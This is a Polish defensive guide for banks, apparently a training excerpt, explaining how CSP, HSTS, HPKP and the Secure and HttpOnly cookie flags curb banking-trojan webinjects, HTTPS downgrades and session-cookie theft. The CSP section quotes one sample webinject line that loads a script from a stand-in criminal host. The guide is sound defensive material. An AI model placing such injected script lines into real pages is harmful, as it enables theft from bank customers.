Bezpieczniejsza bankowość w 5 krokach: przeglądarki

*** Poradnik kierowany jest do banków by mogły skutecznie(j) chronić swoich klientów nie wymagając od nas (klientów) dodatkowych programów/urządzeń ***

Wprowadzenie

O zagrożeniach dotyczących bezpieczeństwa użytkowników bankowości elektronicznej mówi się od lat. Problem ten zwiększa swoją skalę nie tylko w Polsce, ale i na całym świecie. Eksperci ds. bezpieczeństwa najczęściej proponują rozwiązania, które:
1) nie istnieją (np. idealny mechanizm 2FA - idealny: powszechnie dostępny, tani, wygodny i bezpieczny),
2) dają ograniczone korzyści bez skutecznie działającego programu wymiany informacji czy też wywiadu dotyczącego zagrożeń (ang. threat intelligence) - np. systemy FDS (ang. Fraud Detection System) działające w oparciu o blacklisty (zaryzykuję stwierdzenie, że większość wdrożeń systemów a'la FDS kończy się na tym poziomie zaawansowania - dzisiaj to już za mało),
3) wymagają zmiany sposobu korzystania z bankowości elektronicznej przez użytkownika lub dodatkowego instalowania urządzeń/oprogramowania, innymi słowy mówiąc, nie są dla niego przeźroczyste i nie podążają za nim, a swoją istotą wprowadzają nowe ograniczenia w zakresie swobody korzystania z bankowości, do której przyzwyczajeni są użytkownicy.

Rozwiązania posiadające w/w cechy (pojedyncze lub ich mix) wymagają inwestycji, czasu i są złożone (rozwiązania z cechą nr. 1 nie mają ani wad ani zalet, lecz nie powoduje, że bankowość jest bezpieczniejsza). Nie oznacza to, że należy je wszystkie porzucić i nie realizować.

W praktyce ludzi zajmujących się obroną i interweniujących ponieważ dzieje się źle nie istnieją takie zwroty jak: "za pół roku", "to jest trudne", "nic nie da się zrobić". Naszym celem jest ugaszenie lub przygaszenie pożaru do stanu, w którym można pracować nad długoterminowymi rozwiązaniami.

Dlatego pytanie co zrobić "tu i teraz"? Jak złapać kilka oddechów by z mniejszą presją pracować nad rozwiązaniami długofalowymi?

Przedstawione poniżej koncepcje, również posiadają wady/zalety, ograniczenia, natomiast zamiast mydlić oczy tylko zaletami, spróbujemy przybliżyć je w sposób jak najbardziej obiektywny, by każdy  świadomie mógł podjąć decyzję czy chce z nich skorzystać.

Do użycia tych koncepcji wystarczy, że  użytkownik aplikacji webowej będzie posiadał przeglądarkę, która wspiera daną koncepcję (czytajcie z uwagą rozdziały MIARA SUKCESU) oraz możliwość ustawiania nagłówków HTTP przez infrastrukturę lub samą aplikację webową - bułka z masłem, prawda?

Zasady opisu propozycji.

Każdą propozycję będziemy oceniać z użyciem takich cech jak:
1) Jakie zagrożenia w ten sposób pokryjemy (ZAGROŻENIA)
2) Jak zmierzyć potencjalny sukces wdrożenia propozycji (MIARA SUKCESU)
3) W jakich warunkach koncepcja przestanie działać skutecznie (OGRANICZENIA)


CSP

Mechanizm Content-Security-Policy znany jest od lat i najczęściej przedstawiany jako narzędzie do ochrony przed XSS'ami - pozwala na dość precyzyjne wskazanie jakiego rodzaju obiekty i skąd mogą być załączane do kodu HTML naszej strony (czyt. będą interpretowane przez przeglądarkę). Bardzo często pokazywane są przykłady jak go nie używać, czyli np. nie należy dopuszczać do konstrukcji polityki pozwalającej na unsafe-inline, unsafe-eval, które pozwolą na wykonanie kodu np. Javascript umieszczonego jako fragment strony, czy w tagu <script>. Problematyczne jest to, że zazwyczaj aplikacje webowe, w tym bankowość elektroniczna, nie jest napisana w taki sposób by pozwolić sobie na nie korzystanie z takiej, piętnowanej konstrukcji polityki. Czy z tego powodu należy sobie odpuścić CSP? - niekoniecznie.

ZAGROŻENIA: Całkiem możliwe, że "Perfekcyjny" ekspert ds. bezpieczeństwa będzie niepocieszony, że korzystamy z polityki CSP z użyciem unsafe-inline/unsafe-eval, które są jednym z głównych powodów obniżania wartości/sensu korzystania z CSP, a w konsekwencji może i porzucania tego pomysłu, natomiast i taka polityka będzie działać na naszą korzyść w walce ze złośliwym oprogramowaniem. Bankery, które korzystają z techniki webinjectowania, czyli modyfikacji kodu HTML, bardzo często załączają kod HTML/JS z kontrolowanych przez przestępców serwerów, które są poza domeną chronionego przez nas serwisu bankowości elektronicznej (tudzież innego serwisu, który chronimy).

Przykładowo, załączają taki kod HTML:

<script src="https://serwer.zlych.ru/zlicz_srodki_finansowe_klienta.js"></script>

Polityka CSP, która będzie posiadać zawężoną listę domen, z których mogą być ładowane obiekty (whitelista) oraz "niechlubne" unsafe-inline/unsafe-eval powinna zablokować przeprowadzenie całego ataku - strona bankowości z perspektywy jej użytkownika będzie zmodyfikowana, natomiast nie będzie w pełni działać zgodnie z założeniami napastnika - zwyciężyliśmy!

MIARA SUKCESU: Żeby zmierzyć potencjalny sukces wdrożenia należy zadać sobie pytanie, jaka część moich użytkowników korzysta z przeglądarek, które wspierają CSP? (te, które nie wspierają zignorują CSP). Można to policzyć na kilka sposobów. Proponujemy dwa: 1) w oparciu o dane statystyczne używanych przeglądarek na stronie głównej organizacji (będziemy mieć tam ruch klientów i potencjalnych klientów) oraz na stronie samej bankowości elektronicznej (przede wszystkim klienci). 2) w oparciu o dane statystyczne użytkowników z państw, w których nasz biznes funkcjonuje (czasem mogą być to dane z więcej niż jednego kraju).

OGRANICZENIA: Obrona będzie funkcjonować pod warunkiem, że złośliwy kod spoza naszej domeny nie będzie załadowany z domeny, którą dopuściliśmy w polityce CSP lub webinject nie będzie załączał kodu z innej domeny (czyt. będzie w całości w treści strony, bez odwołań do zew. serwerów).

BONUS: za pomocą dyrektywy "default src https" możemy wymusić by przeglądarka załadowała i użyła tylko zasobów dostępnych po https, czyli w kanale szyfrowanym.
BONUS#2: CSP posiada wbudowany mechanizm raportowania nadużyć polityki CSP, co pozwala nam budować wywiad i aktywnie reagować.
BONUS#3: jeśli masz pomysł na wykorzystanie raportów z prób nadużyć polityki CSP, ale jeszcze nie chcesz aktywować ochrony w przeglądarce, możesz to osiągnąć za pomocą trybu report-only, bez jakichkolwiek konsekwencji dla użytkowników.

HSTS

Mechanizm HTTP Strict Transport Security ma za zadanie przekonać naszą przeglądarkę, by zawsze komunikowała się z naszą domeną (i subdomenami - jeśli tak wskażemy) z użyciem protokołu https, czyli zawsze w kanale szyfrowanym.

ZAGROŻENIA: Jeśli przestępcy nie zdecydowali się wyłącznie na webinjectowanie (modyfikowanie w locie kodu HTML) to jednym z wykorzystywanych wektorów ataków jest zamiana połączenia https na http lub przekierowanie na serwis w subdomenie (np. zamiast https://bank.pl przekierowują na http://ssl-.bank.pl, ewentualnie https://ssl-.bank.pl). Ponieważ połączenie nie jest już szyfrowane lub szyfrowane jest z użyciem podstawionego certyfikatu (najczęściej jest to tzw. "self-signed" certyfikat), nad którym przestępcy mają pełną kontrolę, prawdopodobnie łatwiej jest im wtedy manipulować kodem HTML czy wręcz wstawiać w całości swoją wersję serwisu serwowanego użytkownikowi bankowości. HSTS w zależności od użytej opcji (czy włączyliśmy subdomeny i jak go skonfigurowaliśmy) będzie wymuszał na przeglądarce by połączenie do bank.pl lub *.bank.pl były zawsze z użyciem protokołu https, a jeśli ktoś użyje certyfikatu spoza listy tych zaufanych (np. wspomniany "self-signed") to wyświetli ostrzeżenie i zabroni skutecznego nawiązania połączenia - ponownie wygrywamy!

MIARA SUKCESU: Sukces HSTS podobnie jak CSP zależy od wsparcia po stronie przeglądarek dla tego mechanizmu. Proponujemy mierzyć potencjalny sukces analogicznie jak w przypadku CSP.

OGRANICZENIA: Obrona będzie działać o ile zdążymy z pierwszym wysłaniem nagłówka HSTS zanim napastnicy przeprowadzą atak - dlatego nie czekaj, działaj. Istnieją opisy innych słabości HSTS, natomiast wymagają one znacznie większego przyłożenia się do ataków przez napastników, o których mowa.

BONUS: jeśli użyjemy HSTS w pełnym trybie (z uwzględnieniem subdomen) to możemy zgłosić ten fakt do firmy Google by HSTS w przeglądarce Chrome był wymuszany nie na podstawie nagłówka HTTP tylko konfiguracji przeglądarki (tzw. preload HSTS).

HPKP

Mechanizm Public Key Pinning dla protokołu HTTP ma na celu wskazanie przeglądarce jakim konkretnie certyfikatem powinien przedstawić się serwer, do którego się łączymy.

ZAGROŻENIA: Atak z wykorzystaniem poprawnego (zaufanego dla przeglądarek) certyfikatu SSL jest bardzo rzadko spotykany, ale jednak możliwy w przypadku kompromitacji jednego z zaufanych urzędów wydających certyfikaty. Mechanizm HPKP zmniejsza szansę powodzenia takiego ataku gdyż wymusza na przeglądarce weryfikację certyfikatu SSL i porównanie go do tego, który został zdefiniowany - jeśli nie trzeci gol to na pewno asysta!

MIARA SUKCESU: Analogicznie jak dla HSTS i CSP, z tym, że jest to jeden z najnowszych dobrodziejstw protokołu HTTP i jest jeszcze szeroko wspierany - aktualnie jest to Chrome od wersji 38 w górę i Firefox od wersji 35.

OGRANICZENIA: Analogiczne do HSTS.

BONUS: HPKP może być użyty również tylko w trybie raportowania analogicznie jak CSP - jeśli jeszcze nie jesteś pewny czy chcesz go używać do obrony w przeglądarce to możesz spróbować czerpać wiedzę o nadużyciach bez ich blokowania.

Secure i HttpOnly

Oba wspomniane słowa kluczowe to atrybuty ciasteczek (ang. Cookies), Secure powoduje, że ciasteczko może być przesłane tylko w kanale szyfrowanym (https), a HttpOnly utrudnia dostęp do ciasteczka skryptom JS.

ZAGROŻENIA: zalogować się do bankowości elektronicznej można zazwyczaj za pomocą identyfikatora i hasła (maski lub innego wariantu hasła), a sesja jest podtrzymywana (w większości przypadków) za pomocą ciastka sesyjnego, które jest odpowiedzialne za wskazanie naszej tożsamości. Jeśli ciastko sesyjne nie jest wystarczająco mocno związane z np. odciskiem przeglądarki lub adresem IP to w przypadku jego kradzieży, napastnik może uzyskać dostęp do bankowości elektronicznej bez konieczności wykradania loginu i hasła. W ramach przejętej sesji może zmodyfikować parametry bankowości elektronicznej lub nawet części transakcyjnej (np. przelewy oczekujące na autoryzację, szablony płatności, itp. w zależności od tego co wymaga autoryzacji za pomocą kodu SMS lub klucza w innej postaci). Atak nie powoduje natychmiastowej utraty środków finansowych (chyba, że bez dodatkowej autoryzacji jest to możliwe lub inny mechanizm go nie powstrzyma), ale przybliża do takiego skutku. Jeśli możemy utrudnić przejęcie ciastek np. w trakcie ataku zamieniającego połączenie https na http i wtedy podsłuchanie ich - dlaczego nie ustawić im poprzeczki wyżej?

MIARA SUKCESU: Secure i HttpOnly są wspierane od mniej więcej czasów przeglądarki IE 6, można spróbować mierzyć potencjalny sukces jak w przypadku CSP, HSTS czy HPKP.

OGRANICZENIA: jeśli przy każdym nagłówku ustawiającym ciasteczko (Set-Cookie) będziemy pamiętać o jego atrybutach, wszystko powinno działać zgodnie z przewidywaniami. Problem może się pojawić jeżeli nasz serwis sięga do wymienionych ciasteczek z poziomu JS lub w kanale nieszyfrowanym... - wtedy implementacja tych atrybutów w sposób łatwy i bardzo szybki jest utrudniona.


Podsumowanie

Przedstawione propozycje należą do grupy rozwiązań "krótkoterminowych", ale bez daty ważności. Datę ważności określą przestępcy kiedy zaczną w sposób aktywny przełamywać tą linię obrony lub przesuną się w miejsce, gdzie jej nie ma. Po implementacji tych mechanizmów zmieni się nieco optyka, to teraz my będzie na "krok" przed przestępcami. To im zmienimy warunki gry i muszą się dostosować do nas jeśli nadal chcą być skuteczni. Czy nie warto strzelić im te kilka bramek, szczególnie, że to dość proste?

Na rynku nie widać rozwiązań (technicznych i organizacyjnych) pozwalających na 100% ustrzec się przed infekcją bankerem lub nawet przypadkowego/nieświadomego użycia przejętego urządzenia sieciowego - dlatego zalecamy aktywną obronę, najlepiej w formie nie wpływającej na sposób użycia/dostępu do bankowości elektronicznej.

Wymienione metody nie rozwiązują 100% problemów bezpieczeństwa bankowości elektronicznej i ich klientów. Zło nadal się czai, a urządzenia nadal są zainfekowane. Nie wyłączyliśmy w ten sposób botnetu, ale w dużej mierze ograniczyliśmy jego funkcjonalność w zakresie opisanym w rozdziałach "ZAGROŻENIA", biorąc pod uwagę "OGRANICZENIA" tych metod. Dodatkowo zyskujemy czas by jednostki zajmujące się "rozbrajaniem" botnetów mogły wykonać swoją pracę.

Czy taki sposób działania może być skuteczny? - może być tak skuteczny lub skuteczniejszy od dużo droższych (zakupowych) rozwiązań, a finalnie zależeć będzie od metod ataków jakie wykorzystują przestępcy atakując klientów danej marki (czyt. banku). Idealne rozwiązania z dożywotnią gwarancją nie istnieją i warto o tym pamiętać. Metody te nie zapewniają zgodności z normami, certyfikatami i nie dają też "wiecznego" spokoju - jeśli znasz takie rozwiązania to zapraszamy do dyskusji/testów (otwartej lub zamkniętej). Idealnej recepty nie ma w żadnym cenniku, za to wymienione metody będą działały u zdecydowanej większości klientów banków w Polsce - wystarczy je wdrożyć, nie wymagają zakupów.

Rozwiązania te nie są "zarezerwowane" tylko dla systemów bankowości elektronicznej. Jeśli Twoi klienci borykają się podobnymi/analogicznymi problemami - artykuł ma zastosowanie również dla Ciebie. Przykładem pro aktywnej ochrony marki spoza sektora finansowego jest np. Google, na czele z GMailem.

Powyższy materiał jest fragmentem szkolenia dedykowanego dla organizacji z sektora finansowego/ubezpieczeniowego/e-commerce/itp., które chcą aktywnie bronić swoich klientów, a nie tylko własną infrastrukturę - szczegóły zostaną opublikowane wkrótce, a bliżej zainteresowanych już dzisiaj, zapraszamy do kontaktu (kontakt {@} whitecatsec.com - [bez klamr - "{}"])